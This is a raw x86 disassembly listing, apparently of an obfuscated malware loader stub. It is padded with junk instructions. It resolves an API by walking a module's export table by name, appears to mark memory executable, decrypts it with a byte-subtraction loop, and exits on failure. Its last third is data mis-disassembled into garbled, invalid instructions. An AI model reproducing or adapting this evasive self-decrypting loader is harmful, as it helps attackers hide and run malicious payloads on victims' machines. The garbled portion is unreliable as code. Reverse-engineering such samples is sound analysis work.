jmp 0x43efb0
pop edi
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push esi
push edx
add esp, 4
add esi, 0xf458
pop esi
push edi
push eax
add esp, 4
xor edi, 0x754e
xor edi, 0x619b
add edi, 0xc6b5
pop edi
push eax
and eax, 0xcbbc
add eax, 0xb3c0
pop eax
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
sub ebx, 0x167b1
pop ebx
push edi
call 0x43f07d
add byte [edx + edi + 0x3f], al
inc ebp
dec esi
dec edx
aaa
inc ebp
inc ebx
aas
add esp, 4
call 0x43f08c
add byte [ebx + ecx*2], dh
xor eax, 0x834f4d49
les eax, [ecx + eax*4]
not ecx
mov byte [eax], 0
pop edi
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x43f0b3
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x43f10d
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x43efdb
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x43efdb
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x43f0f7
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x43f101
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x43f156
push edi
push edi
add esp, 4
jmp 0x43f122
or edi, 0xea18
add edi, 0x12e84
pop edi
push edx
xor edx, 0x10ce9
jmp 0x43f13b
or edx, 0x15205
add edx, 0x926c
pop edx
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x43f1be
push ebx
push eax
add esp, 4
and ebx, 0x1511f
sub ebx, 0x812d
sub ebx, 0x5ce1
or ebx, 0x9f0f
pop ebx
push eax
xor eax, 0x2af8
or eax, 0x131b4
and eax, 0xfe1a
pop eax
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x43f1b4
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x43ef7f
mov dword [ebp - 0x2a8], 0
push ecx
or ecx, 0x7d7a
pop ecx
push esi
push edi
add esp, 4
call 0x43f1da
add byte [eax + 0x35], al
dec edi
inc esp
xor esi, dword [edi]
aaa
aas
add esp, 4
sub esi, 0x141b8
sub esi, 0xe028
and esi, 0xbf06
pop esi
mov ecx, dword [ebp - 0x2a8]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x304], edx
push eax
push ecx
add esp, 4
add eax, 0x987a
sub eax, 0x1079b
sub eax, 0x5e4d
and eax, 0x92d5
pop eax
push edx
sub edx, 0xd950
pop edx
push esi
push edi
add esp, 4
add esi, 0x290a
pop esi
mov dword [ebp - 0x730], 0
mov eax, dword [ebp - 0x304]
mov dword [ebp - 0x1580], eax
cmp dword [ebp - 0x1580], 0
jne 0x43f261
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x43f552
mov edx, dword [ebp - 0x1580]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1584], eax
jne 0x43f289
mov ecx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], ecx
jmp 0x43f552
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1584]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1588], edx
cmp dword [ebp - 0x1588], 0
jne 0x43f2bb
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
jmp 0x43f552
mov ecx, dword [ebp - 0x304]
add ecx, dword [ebp - 0x1588]
mov dword [ebp - 0x724], ecx
jne 0x43f2e0
mov edx, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], edx
jmp 0x43f552
mov eax, dword [ebp - 0x724]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x1900], ecx
mov edx, dword [ebp - 0x724]
mov eax, dword [ebp - 0x304]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1904], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x1908], edx
mov dword [ebp - 0x728], 0
jmp 0x43f33a
mov eax, dword [ebp - 0x728]
add eax, 1
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x728]
cmp edx, dword [ecx + 0x18]
jae 0x43f546
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1900]
mov edx, dword [ebp - 0x304]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x72c], edx
mov eax, dword [ebp - 0x728]
mov ecx, dword [ebp - 0x1904]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x1908]
mov ecx, dword [ebp - 0x304]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x190c], ecx
mov dword [ebp - 0x18c], 0
jmp 0x43f3aa
mov edx, dword [ebp - 0x18c]
add edx, 1
mov dword [ebp - 0x18c], edx
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43f45c
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
test eax, eax
je 0x43f45c
push eax
sub eax, 0x253f
pop eax
push edi
push eax
add esp, 4
xor edi, 0x5cd1
xor edi, 0x2434
sub edi, 0x7e8c
and edi, 0xcdd2
pop edi
push eax
push esi
add esp, 4
sub eax, 0x151a3
pop eax
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
cmp edx, ecx
je 0x43f44e
mov edx, dword [ebp - 0x72c]
add edx, dword [ebp - 0x18c]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x18c]
movsx edx, byte [ebp + ecx - 0x960]
cmp eax, edx
jne 0x43f455
jmp 0x43f39b
jmp 0x43f45c
push esi
push eax
add esp, 4
xor esi, 0xb989
pop esi
push esi
add esi, 0x18195
and esi, 0x6c07
add esi, 0xfc05
call 0x43f48a
add byte [esi], dh
inc edx
inc esp
inc ecx
dec ebp
dec edi
dec edx
inc ebx
inc esp
add esp, 4
pop esi
mov eax, dword [ebp - 0x72c]
add eax, dword [ebp - 0x18c]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x18c]
movsx eax, byte [ebp + edx - 0x960]
cmp ecx, eax
jne 0x43f4bb
mov dword [ebp - 0xc6c], 0
jmp 0x43f52a
push esi
or esi, 0x3253
or esi, 0xe591
call 0x43f4d7
add byte [ebx], dh
dec eax
xor cl, byte [edx + 0x40]
cmp dword [0xc4834047], edi
add al, 0xeb
add al, 0x46
cmp dword [edi + 0x32], eax
pop esi
push ebx
push eax
add esp, 4
and ebx, 0xb6e4
pop ebx
mov ecx, dword [ebp - 0x72c]
add ecx, dword [ebp - 0x18c]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x18c]
movsx ecx, byte [ebp + eax - 0x960]
or ecx, 0x20
cmp edx, ecx
jge 0x43f520
mov dword [ebp - 0xc6c], 0xffffffff
jmp 0x43f52a
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 0
jne 0x43f541
mov edx, dword [ebp - 0x190c]
mov dword [ebp - 0x4f0], edx
jmp 0x43f552
jmp 0x43f32b
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0x4f0], eax
mov ecx, dword [ebp - 0x4f0]
mov dword [ebp - 0xa58], ecx
push ebx
push ebx
add esp, 4
call 0x43f572
add byte [ebx + edi + 0x3e], al
dec edi
cmp byte [ebx], bh
xor al, 0x4e
dec esi
add esp, 4
pop ebx
push eax
add eax, 0x7340
xor eax, 0x5093
add eax, 0x14e5c
xor eax, 0x14124
pop eax
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x1910], edx
lea eax, [ebp - 0xc70]
push eax
push 0x40
mov ecx, dword [ebp - 0x158c]
push ecx
mov edx, dword [ebp - 0x3cc]
push edx
call dword [ebp - 0x1910]
test eax, eax
jne 0x43f603
push ecx
push ecx
add esp, 4
and ecx, 0x66a
xor ecx, 0x10f39
or ecx, 0x858a
sub ecx, 0x2183
pop ecx
push esi
push edx
add esp, 4
or esi, 0xd48a
pop esi
push ebx
add ebx, 0x6ff
pop ebx
mov eax, dword [ebp - 0x738]
mov dword [ebp - 0x1914], eax
push 0
call dword [ebp - 0x1914]
mov ecx, dword [ebp - 0x1918]
mov dword [ebp - 0x734], ecx
jmp 0x43f620
mov edx, dword [ebp - 0x734]
add edx, 1
mov dword [ebp - 0x734], edx
mov eax, dword [ebp - 0x734]
cmp eax, dword [ebp - 0xa5c]
jae 0x43f67c
push esi
and esi, 0x8789
add esi, 0x1858e
and esi, 0x12f06
or esi, 0x6c32
pop esi
push ecx
call 0x43f656
add byte [esi + 0x45], cl
inc edx
cmp ecx, dword [esp + eax*2 + 0x49]
add esp, 4
add ecx, 0x1628b
pop ecx
movzx ecx, byte [ebp - 0x381]
mov edx, dword [ebp - 0x734]
movsx eax, byte [edx]
sub eax, ecx
mov ecx, dword [ebp - 0x734]
mov byte [ecx], al
jmp 0x43f611
mov edx, dword [ebp - 0xa58]
mov dword [ebp - 0x191c], edx
lea eax, [ebp - 0xc70]
push eax
mov ecx, dword [ebp - 0xc70]
push ecx
mov edx, dword [ebp - 0x158c]
push edx
mov eax, dword [ebp - 0x3cc]
push eax
call dword [ebp - 0x191c]
test eax, eax
jne 0x43f6f4
push esi
push ebx
add esp, 4
add esi, 0x8712
add esi, 0x1501e
or esi, 0x160e1
pop esi
push ebx
add ebx, 0x306
xor ebx, 0x11fcd
add ebx, 0x16e26
xor ebx, 0xcd0b
pop ebx
mov ecx, dword [ebp - 0x738]
mov dword [ebp - 0x1920], ecx
push 0
call dword [ebp - 0x1920]
push ecx
push eax
add esp, 4
and ecx, 0x15425
and ecx, 0x6e21
add ecx, 0x728
pop ecx
push esi
and esi, 0xeb18
pop esi
push ecx
push eax
add esp, 4
sub ecx, 0x8d31
sub ecx, 0x2015
pop ecx
push edx
mov ecx, 0x10101010
pop edx
push ecx
mov ecx, 0xffff02ff
pop ecx
push edx
xor edx, 0xffffff81
cdq
add al, byte [edx]
pop edx
push ebx
pop ecx
test esi, eax
push es
sub ebx, 0xfffffff3
inc esp
add eax, dword [edx]
sub ebx, 0xd
add byte [ebx], 2
xor ebx, 0xffffff9f
rol byte [edx], 1
add al, byte [ebx + 0x2ed85c3]
add bl, byte [ebx + 0x54]
push ebp
test esi, eax
push es
sub esp, 0x61
salc
add al, byte [edx]
pop esp
mov esp, 0x202026d
push 0xebbe978b
add dword [ecx], eax
mov edx, 0x2020267
push 0xebc0878b
add dword [ecx], eax
mov ebx, 0x2020274
push 0xebc28f8b
add dword [ecx], eax
mov esp, 0x2020270
push 0xebc4978b
add dword [ecx], eax
mov edx, 0x2020267
push 0xebc6878b
add dword [ecx], eax
mov ebx, 0x202026e
push 0xebc88f8b
add dword [ecx], eax
mov esp, 0x2020235
push 0xebca978b
add dword [ecx], eax
mov edx, 0x2020234
push 0xebcc878b
add dword [ecx], eax
mov ebx, 0x2020230
push 0xebce8f8b
add dword [ecx], eax
mov esp, 0x2020266
push 0xebd0978b
add dword [ecx], eax
mov edx, 0x202026e
add dword [edx + 0x202026e], edi
push 0xebd2878b
add dword [ecx], eax
mov ebx, 0x202026e
push 0xebd48f8b
add dword [ecx], eax
xor eax, 0x978b68d4
salc
jmp 0x43f7ff
outsb dx, byte [esi]
add al, byte [edx]
add ch, byte [eax - 0x75]
invalid
mov edx, dword [edi + 0x101ebd6]
enter 0x6e87, 0xfffffffffffffff1
add dword [ecx], eax
dec ecx
enter 0x6f87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7087, 0xfffffffffffffff1
add dword [ecx], eax
jbe 0x43f7dd
xchg dword [ecx - 0xf], esi
add dword [ecx], eax
dec edi
enter 0x7287, 0xfffffffffffffff1
xchg dword [edx - 0xf], esi
add dword [ecx], eax
jno 0x43f7eb
xchg dword [ebx - 0xf], esi
add dword [ecx], eax
enter 0x7487, 0xfffffffffffffff1
add dword [ecx], eax
ja 0x43f7f9
xchg dword [ebp - 0xf], esi
add dword [ecx], eax
outsb dx, byte [esi]
enter 0x7687, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7787, 0xfffffffffffffff1
add dword [ecx], eax
dec edx
enter 0x7887, 0xfffffffffffffff1
add dword [ecx], eax
arpl ax, cx
xchg dword [ecx - 0xf], edi
add dword [ecx], eax
jo 0x43f81c
xchg dword [edx - 0xf], edi
add dword [ecx], eax
enter 0x7b87, 0xfffffffffffffff1
add dword [ecx], eax
outsb dx, byte [esi]
enter 0x7c87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0x7d87, 0xfffffffffffffff1
add dword [ecx], eax
pop ecx
enter 0x7e87, 0xfffffffffffffff1
add dword [ecx], eax
add bl, byte [eax + 0x59]
test esi, eax
push es
adc eax, 0x6f
test dword [edx], 0x53536002
test esi, eax
push es
add ebx, 0xfffffffc
and eax, 0xe3830203
mov al, 0xcf
add al, byte [edx]
add ebx, 0x5f
fadd dword [edx]
add al, byte [ebx + 0x2ca76e3]
add bl, byte [ebx + 0x55]
or ebp, 0xffffffdd
int 0xdd
pop ds
add eax, dword [edx]
pop ebp
enter 0xffffffffffff9a87, 0xfffffffffffffff1
add dword [ecx], eax
dec eax
enter 0xffffffffffff9b87, 0xfffffffffffffff1
add dword [ecx], eax
imul ecx, eax, 0xffffff87
pushfd
int1
xchg dword [ebx + 0x6b0101f1], ebx
enter 0xffffffffffff9c87, 0xfffffffffffffff1
add dword [ecx], eax
jo 0x43f886
xchg dword [ebp + 0x660101f1], ebx
enter 0xffffffffffff9e87, 0xfffffffffffffff1
add dword [ecx], eax
push esp
enter 0xffffffffffff9f87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa087, 0xfffffffffffffff1
add dword [ecx], eax
jne 0x43f8a2
xchg dword [ecx + 0x710101f1], esp
enter 0xffffffffffffa287, 0xfffffffffffffff1
add dword [ecx], eax
ja 0x43f8b0
xchg dword [ebx + 0x740101f1], esp
enter 0xffffffffffffa487, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa587, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffa687, 0xfffffffffffffff1
add dword [ecx], eax
pop ecx
enter 0xffffffffffffa787, 0xfffffffffffffff1
add dword [ecx], eax
add dl, byte [ebx + eax*4 - 0x1c]
sal byte [esi + 2], 1
add al, byte [ebx + 0x355a2c4]
add al, byte [ebx + 0x32985ec]
add bl, byte [esp + edx*2 - 0x16]
or al, byte [edx]
add al, byte [edx]
add dl, byte [edx + 0x3f]
xor al, 0x3f
dec edx
dec esi
cmp al, byte [ebp - 0x3b7cf93a]
xor eax, dword [edi]
add al, byte [edx]
or esp, 0xffffffc8
sub al, byte [edx]
add bl, byte [eax + ecx*8 - 0x79]
mov edx, 0x4e0101f1
mov byte [0x83020355], al
in al, dx
test dword [ecx], ebp
add eax, dword [edx]
pop esp
push esp
ljmp 0x5202
int3
xchg dword [edx + 0x4e0101f1], edi
enter 0xffffffffffffbb87, 0xfffffffffffffff1
add dword [ecx], eax
jno 0x43f913
xchg dword [ebx + 0x710101f1], edi
enter 0xffffffffffffbc87, 0xfffffffffffffff1
add dword [ecx], eax
arpl ax, cx
xchg dword [ecx + esi*8 - 0x379cfeff], edi
xchg dword [ebp + 0x660101f1], edi
enter 0xffffffffffffbe87, 0xfffffffffffffff1
add dword [ecx], eax
push esp
enter 0xffffffffffffbf87, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffc087, 0xfffffffffffffff1
add dword [ecx], eax
jne 0x43f936
xchg ecx, eax
int1
add dword [ecx], eax
jno 0x43f93d
xchg edx, eax
int1
add dword [ecx], eax
ja 0x43f944
xchg ebx, eax
int1
add dword [ecx], eax
je 0x43f94b
xchg esp, eax
int1
add dword [ecx], eax
enter 0xffffffffffffc587, 0xfffffffffffffff1
add dword [ecx], eax
enter 0xffffffffffffc687, 0xfffffffffffffff1
add dword [ecx], eax
add dl, byte [ecx + ebx*2 - 0x7b]
mov byte [esi], 0x83
hlt